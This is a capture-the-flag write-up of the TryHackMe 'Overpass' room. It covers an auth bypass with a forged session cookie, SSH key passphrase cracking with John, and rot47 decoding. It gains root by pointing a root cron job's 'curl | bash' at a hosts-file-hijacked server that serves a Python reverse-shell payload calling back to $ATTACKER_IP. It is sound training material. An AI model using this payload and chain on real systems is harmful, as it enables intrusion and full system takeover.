Featured image

5 Bros and a Password Manager Link to heading

So password managers are all the rage these days, how hard can it actually be to create one? This beginner-level Capture the Flag room on the excellent TryHackMe site can show us. Overpass is the fruit of the labours of 5 broke college students trying to capitalize on the password manager craze. What can possibly go wrong? (Hint: Everything. Read on for more shenanigans)

The room hints at an OWASP Top10 vulnerability to start things off, which gives us an idea that nothing needs to be brute-forced. How nice of the authors :). As per usual, no flags nor passwords will be divulged here, and it’s more fun to get them on your own as well. So deploy the VM and hop in!

Enumerate! Enumerate! Enumerate! Link to heading

As always, we want to see what’s on the VM that we can exploit. (Probably a web server, but what else lies hidden?). As usual, we’ll use nmap here.


nmap -sS -A $TARGET_IP
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-19 22:02 CEST
Nmap scan report for $TARGET_IP
Host is up (0.029s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_  256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/19%OT=22%CT=1%CU=34627%PV=Y%DS=2%DC=T%G=Y%TM=5F14A6E
OS:F%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST1
OS:1NW7%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN
OS:(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1723/tcp)
HOP RTT      ADDRESS
1   28.24 ms 10.11.0.1
2   28.66 ms $TARGET_IP

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.80 seconds

Looking Around Link to heading

Ok so we have a web server and ssh. Nothing too unusual here, let’s take a look around at the web server.


curl http://$TARGET_IP
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Overpass</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="/css/main.css">
    <link rel="icon" type="image/png" href="/img/overpass.png" />
    <script src="/main.js"></script>
</head>
<body>
    <nav>
        <img class="logo" src="/img/overpass.svg" alt="Overpass logo">
        <h2 class="navTitle"><a href="/">Overpass</a></h2>
        <a href="/aboutus">About Us</a>
        <a href="/downloads">Downloads</a>
    </nav>
    <h1 class="pageHeading content">Welcome to Overpass</h1>
    <h3 class="subtitle content">A secure password manager with support for Windows, Linux, MacOS and more</h3>
    <div class="bodyFlexContainer content">
        <div>
            <img id="lockImg" src="/img/jose-fontano-pZld9PiPDno-unsplash.jpg">
            <div>Photo by <a
                    href="https://unsplash.com/@josenothose?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Jose
                    Fontano</a> on <a
                    href="https://unsplash.com/s/photos/lock?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a>
            </div>
        </div>
        <div>
            <p>People reuse the same password for multiple services. If you are one of them, you're
                risking your accounts being hacked by evil hackers.
            </p>
            <p>Overpass allows you to securely store different
                passwords for every service, protected using military grade
                <!--Yeah right, just because the Romans used it doesn't make it military grade, change this?-->
                cryptography to keep you safe.
            </p>
            <h4>Reasons to use Overpass</h4>
            <ul>
                <li>Your passwords are never transmitted over the internet, in any form, unlike other password managers.
                </li>
                <li>Your passwords are protected using Military Grade encryption.</li>
                <li>Overpass do not store your passwords, unlike other password managers.</li>
            </ul>
            <p>Download Overpass today and start keeping your passwords safe. <a href="/downloads">Downloads</a></p>
        </div>
    </div>
</body>
</html>


So we have a few links to and about page and a downloads page. Also a snarky comment on the encryption used. Romans implies that some sort of Caesar cipher is being used here, the most common being rot-13 or rot-47. This is probably not terribly important yet. Let’s take a look at the downloads page:


curl http://$TARGET_IP/downloads/
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Overpass</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="/css/main.css">
    <link rel="icon" type="image/png" href="/img/overpass.png" />
    <script src="/main.js"></script>
</head>
<body>
    <nav>
        <img class="logo" src="/img/overpass.svg" alt="Overpass logo">
        <h2 class="navTitle">
            <a href="/">Overpass</a>
        </h2>
        <a href="/aboutus">About Us</a>
        <a class="current" href="/downloads">Downloads</a>
    </nav>
    <div class="bodyFlexContainer content">
        <div>
            <h1 class="aboutTitle">Download Overpass</h2>
                <p class="aboutText">Stay safe against hackers. Use Overpass.</p>
                <h2 class="aboutTitle">Builds</h2>
                <p class="aboutText">Precompiled binaries of Overpass</p>
                <ul>
                    <li><a href="builds/overpassWindows.exe" download>Windows x86-64</a></li>
                    <li><a href="builds/overpassLinux" download>Linux x86-64</a></li>
                    <li><a href="builds/overpassMacOS" download>MacOS x86-64</a></li>
                    <li><a href="builds/overpassFreeBSD" download>FreeBSD x86-64</a></li>
                    <li><a href="builds/overpassMacOS" download>OpenBSD x86-64</a></li>
                </ul>
                <h2 class="aboutTitle">Source</h2>
                <p class="aboutText">Have Golang installed? Need a binary for 32bit systems? Want to build your own
                    binary to make sure it's safe? Grab the source code here</p>
                <ul>
                    <li><a href="src/overpass.go" download>Source Code</li>
                    <li><a href="src/buildscript.sh" download>Build Script</li>
                </ul>
        </div>
    </div>
</body>
</html>


Oooh source code! And a buildscript. Both are, while interesting and confirming the use of rot47, not terribly useful at the moment (I’ll also skip listing the source).

Looks like we’re a bit stuck following the happy path. We can checkout the javascript code mentioned:


curl http://$TARGET_IP/main.js
console.log("Hello, World!")

That was…special. Is anything hiding in the css directory?


curl http://$TARGET_IP/css/
<pre>
<a href="login.css">login.css</a>
<a href="main.css">main.css</a>
</pre>


Finding Things That Shouldn’t Be There… Link to heading

Oh login.css tells us that there’s a login page somewhere on the site. Let’s try the easy stuff, and if that fails we’ll break out the big guns.


curl http://$TARGET_IP/login/
404 page not found
curl http://$TARGET_IP/admin/
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Overpass</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="/css/main.css">
    <link rel="stylesheet" type="text/css" media="screen" href="/css/login.css">
    <link rel="icon" type="image/png" href="/img/overpass.png" />
    <script src="/main.js"></script>
    <script src="/login.js"></script>
    <script src="/cookie.js"></script>
</head>
<body onload="onLoad()">
    <nav>
        <img class="logo" src="/img/overpass.svg" alt="Overpass logo">
        <h2 class="navTitle"><a href="/">Overpass</a></h2>
        <a class="current" href="/aboutus">About Us</a>
        <a href="/downloads">Downloads</a>
    </nav>
    <div class="content">
        <h1>Administrator area</h1>
        <p>Please log in to access this content</p>
        <div>
            <h3 class="formTitle">Overpass administrator login</h1>
        </div>
        <form id="loginForm">
            <div class="formElem"><label for="username">Username:</label><input id="username" name="username" required></div>
            <div class="formElem"><label for="password">Password:</label><input id="password" name="password"
                    type="password" required></div>
            <button>Login</button>
        </form>
        <div id="loginStatus"></div>
    </div>
</body>
</html>


Ooh an admin portal! Sweet! We already know from the hint that there’s no brute force involved. However, we don’t have a username, nor password exposed here. Maybe the login.js file holds some clues?


curl http://$TARGET_IP/login.js
async function postData(url = '', data = {}) {
    // Default options are marked with *
    const response = await fetch(url, {
        method: 'POST', // *GET, POST, PUT, DELETE, etc.
        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
        credentials: 'same-origin', // include, *same-origin, omit
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        redirect: 'follow', // manual, *follow, error
        referrerPolicy: 'no-referrer', // no-referrer, *client
        body: encodeFormData(data) // body data type must match "Content-Type" header
    });
    return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
    return Object.keys(data)
        .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
        .join('&');
}
function onLoad() {
    document.querySelector("#loginForm").addEventListener("submit", function (event) {
        //on pressing enter
        event.preventDefault()
        login()
    });
}
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

Let’s get some highlighting so we can see what’s going on here :)

    
async function postData(url = '', data = {}) {
    // Default options are marked with *
    const response = await fetch(url, {
        method: 'POST', // *GET, POST, PUT, DELETE, etc.
        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
        credentials: 'same-origin', // include, *same-origin, omit
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        redirect: 'follow', // manual, *follow, error
        referrerPolicy: 'no-referrer', // no-referrer, *client
        body: encodeFormData(data) // body data type must match "Content-Type" header
    });
    return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
    return Object.keys(data)
        .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
        .join('&');
}
function onLoad() {
    document.querySelector("#loginForm").addEventListener("submit", function (event) {
        //on pressing enter
        event.preventDefault()
        login()
    });
}
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

Ok let’s break this down a bit. The postData() function simply send a POST request to a given URL. nothing interesting there.

The next two functions are utility functions of no particular interest as well. The login() function is a bit more interesting. It will grab the values of the username and password boxes, and send a post request to a login API. So far, so good. The response is the interesting bit though.

  • If the login is incorrect, An error message is received and effectively passed through to the user via a div on the page.
  • Otherwise we set a SessionToken with a value provided by the server.

This leaves us with two ideas to try:

  1. We try to get the API to throw out something other than ‘Incorrect Credentials’.
  2. We set our own session token.

Now I don’t know the API at all, and so number 1 seems hard. Also we’re lazy bastards, so let’s try to forge a session token.

Cracking the Admin Portal Link to heading

Session Tokens, if crafted properly, usually consist of effectively random (As random-like as we can get) bytes. It would normally be impossible to guess one, but since the admin of this particular site seems to be a bit lazy, there’s a serious misconfiguration here (We know this due to the hint given) and the authentication mechanism is likely to be broken. Sometimes a cookie is set to indicate if a user is logged in or not, usually with a 1 or a true. Maybe this will be stupid enough to work:


curl http://$TARGET_IP/admin/ -H "Cookie: SessionToken=1"
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Overpass</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="/css/main.css">
    <link rel="icon"
      type="image/png"
      href="/img/overpass.png" />
    <script src="/main.js"></script>
</head>
<body>
    <nav>
        <img class="logo" src="/img/overpass.svg" alt="Overpass logo">
        <h2 class="navTitle"><a href="/">Overpass</a></h2>
        <a href="/aboutus">About Us</a>
        <a href="/downloads">Downloads</a>
    </nav>
    <h1 class="pageHeading content">Welcome to the Overpass Administrator area</h1>
    <h3 class="subtitle content">A secure password manager with support for Windows, Linux, MacOS and more</h3>
    <div class="bodyFlexContainer content">
        <div>
            <p>Since you keep forgetting your password, James, I've set up SSH keys for you.</p>
            <p>If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.<br>
                Also, we really need to talk about this "Military Grade" encryption. - Paradox</p>
            <pre> 
-----BEGIN RSA PRIVATE KEY-----
...SNIP (NO KEY FOR YOU, GO FIND IT YOURSELF)...
-----END RSA PRIVATE KEY-----
            </pre>
        </div>
    </div>
</body>
</html>


(Not so) Secure Shell Link to heading

Welp, let’s save the key and see how ssh fares. We’ll assume the user is called james as this is most likely his key.


ssh james@$TARGET_IP -i ./ssh_key
load pubkey "./ssh_key": invalid format
The authenticity of host '$TARGET_IP ($TARGET_IP)' can't be established.
ECDSA key fingerprint is SHA256:4P0PNh/u8bKjshfc6DBYwWnjk1Txh5laY/WbVPrCUdY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '$TARGET_IP' (ECDSA) to the list of known hosts.
Enter passphrase for key './ssh_key':

Cracking SSH Link to heading

Well damn. Thankfully, John the Ripper is able to crack ssh keys!

First we need to transform the key to something John understands. For this we use the ssh2john tool.


/usr/share/john/ssh2john.py ./ssh_key > ssh_key4john

Next we’ll try to crack the key with everyone’s favourite wordlist


john --wordlist /usr/share/wordlists/rockyou.txt --format=ssh ssh_key4john
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2020-07-19 22:54) 0g/s 70920p/s 70920c/s 70920C/s paagal..sss
Session completed
john --show ssh_key4john
./ssh_key:***********

1 password hash cracked, 0 left

SSH Take 2 Link to heading

Now that we have the creds, let’s login for real this time!


ssh james@$TARGET_IP -i ssh_key
load pubkey "ssh_key": invalid format
Enter passphrase for key 'ssh_key':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Jul 19 20:59:23 UTC 2020

  System load:  0.0                Processes:           88
  Usage of /:   22.9% of 18.57GB   Users logged in:     0
  Memory usage: 12%                IP address for eth0: $TARGET_IP
  Swap usage:   0%


47 packages can be updated.
0 updates are security updates.


Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1

YAY!

Snooping around the server. Link to heading

First thing’s first, let’s raid the home directory.


ls -la
total 48
drwxr-xr-x 6 james james 4096 Jun 27 16:07 .
drwxr-xr-x 4 root  root  4096 Jun 27 02:20 ..
lrwxrwxrwx 1 james james    9 Jun 27 02:38 .bash_history -> /dev/null
-rw-r--r-- 1 james james  220 Jun 27 02:20 .bash_logout
-rw-r--r-- 1 james james 3771 Jun 27 02:20 .bashrc
drwx------ 2 james james 4096 Jun 27 04:45 .cache
drwx------ 3 james james 4096 Jun 27 04:45 .gnupg
drwxrwxr-x 3 james james 4096 Jun 27 04:20 .local
-rw-r--r-- 1 james james   49 Jun 27 04:26 .overpass
-rw-r--r-- 1 james james  807 Jun 27 02:20 .profile
drwx------ 2 james james 4096 Jun 27 04:44 .ssh
-rw-rw-r-- 1 james james  438 Jun 27 04:23 todo.txt
-rw-rw-r-- 1 james james   38 Jun 27 16:07 user.txt

Grab the flag from user.txt and then let’s take a look at the todo.txt file


cat user.txt
$SUPER_SECRET_USER_FLAG
cat todo.txt
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
  Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They're not updating on the website

Ok so there’s a bit of info here. Looks like james put his password in the password manager, but we don’t actually have the binary. If we looked at the source code earlier, we see that it looks for a .overpass file in the user’s home directory. Looks like we have one, let’s check it out.


cat .overpass
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQD2J5C2H?=J:?8A:4EFC6QN.

We know that rot-47 is used. Decrypting this, we get

    
[{"name":"System","pass":"******************"}]

With the password, let’s see if we can sudo


sudo -l
[sudo] password for james:
Sorry, user james may not run sudo on overpass-prod.

That was worth a try. The password is pretty much useless then.

The todo list auto mentioned an automated build script. Maybe we can abuse this somehow.

Automate All the Backdoors! Link to heading

In Linux, automated tasks are usually handled by a tool called cron. This utility stores it’s jobs in what’s called a crontab, which generally lives in /etc


cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

That last entry is just jaw-droppingly special. Here we have a script that runs every minute which grabs a script off some website and then executes it, no questions asked, as root.

Can someone say “reverse shell?”

Before we crack this box wide open, we’ll need two things:

  1. A fake buildscript that we can host
  2. A way to override command to point to our server rather than wherever overpass.thm currently points.

Faking the Build Script Link to heading

This part is simple enough, we want root to open a reverse shell to our machine. Payload All The Things has a few options to choose from.

We can check to see if we have any interesting binaries to use. nc and python are popular choices, and we have both available.


which nc
/bin/nc
which python3
/usr/bin/python3

I used python, and so my buildscript.sh file looks like this:

    
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$ATTACKER_IP",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

To launch the listener, we can simply use netcat (nc)


nc -lvnp 4242
listening on [any] 4242 ...

That takes care of the build script, now we need to point overpass.thm to our machine.

Tricksy, False, Hostses! Link to heading

This screams like a made-up DNS entry, so there’s probably no real DNS behind this.

In Linux (and surprisingly Windows as well), you can create fake dns-like entries in the /etc/hosts file which will be followed by the os. Normally this file is not writable by everybody. Let’s check to be sure.


ls -la /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27 02:39 /etc/hosts

Oh my. Let’s crack this file open and rewrite overpass.thm to point to our machine.

    
127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.0.1 overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Let’s change overpass.thm to point to our VPN IP (the line should look like $ATTACKER_IP overpass.thm, where $ATTACKER_IP is your VPN ip address).

Next we’ll need some way to serve the fake build script. We can use python’s http server to do this:


sudo python3 -m http.server 80
[sudo] password for hydra:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Wait a minute, and you should see the file request in the server logs. Also the netcat listener will have a shell :)

    
$TARGET_IP - - [19/Jul/2020 23:42:01] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -

Root! Link to heading


ls -la
total 56
drwx------  8 root root 4096 Jun 27 16:06 .
drwxr-xr-x 23 root root 4096 Jun 27 02:28 ..
lrwxrwxrwx  1 root root    9 Jun 27 02:38 .bash_history -> /dev/null
-rw-------  1 root root 3106 Apr  9  2018 .bashrc
drwx------  3 root root 4096 Jun 27 02:33 .cache
drwx------  3 root root 4096 Jun 27 02:21 .local
-rw-------  1 root root  184 Jun 27 04:07 .profile
drwx------  2 root root 4096 Jun 27 02:15 .ssh
-rw-r--r--  1 root root 9261 Jul 19 21:41 buildStatus
drwx------  2 root root 4096 Jun 27 04:34 builds
drwxr-xr-x  4 root root 4096 Jun 27 04:09 go
-rw-------  1 root root   38 Jun 27 16:06 root.txt
drwx------  2 root root 4096 Jun 27 04:34 src

Grab the root flag in root.txt


cat root.txt
$SUPER_SECRET_ROOT_FLAG

And we’re done!

…Not quite :)

Bonus Credit Link to heading

There’s bit of a bonus grab in that a TryHackMe subscription code was hidden on the server.

There’s another user hiding on the server. If we look in the /home directory,


ls -la /home
total 16
drwxr-xr-x  4 root      root      4096 Jun 27 02:20 .
drwxr-xr-x 23 root      root      4096 Jun 27 02:28 ..
drwxr-xr-x  6 james     james     4096 Jul 19 21:41 james
drwx------  6 tryhackme tryhackme 4096 Jun 27 16:13 tryhackme

We see a tryhackme user. Let’s take a look at their files!


cd /home/tryhackme
ls -la
total 7944
drwx------ 6 tryhackme tryhackme    4096 Jun 27 16:13 .
drwxr-xr-x 4 root      root         4096 Jun 27 02:20 ..
-rw-rw-r-- 1 tryhackme tryhackme       0 Jun 27 04:00 .bash_history
-rw------- 1 tryhackme tryhackme     220 Apr  4  2018 .bash_logout
-rw------- 1 tryhackme tryhackme    3771 Apr  4  2018 .bashrc
drwx------ 3 tryhackme tryhackme    4096 Jun 27 02:35 .cache
drwx------ 3 tryhackme tryhackme    4096 Jun 27 02:15 .gnupg
-rw------- 1 tryhackme tryhackme      56 Jun 27 04:35 .overpass
-rw------- 1 tryhackme tryhackme     807 Apr  4  2018 .profile
drwxrwx--- 4 tryhackme tryhackme    4096 Jun 27 02:35 go
drwx------ 6 tryhackme tryhackme    4096 Jun 27 03:57 resources
-rwxrwxr-x 1 tryhackme tryhackme 8093631 Jun 27 03:53 server

Looks like they use overpass as well.


cat .overpass
,LQ?2>6QiQ%CJw24<|6 $F3D4C:AE:@? r@56Q[QA2DDQiQ8>%sJ=QN.

Passing that through the ROT-47 encoder, we get:

    
[{"name":"TryHackMe Subscription Code","pass":"******"}]

This concludes the Overpass challenge. I hope you all enjoyed this box as much as I did.

Cheers!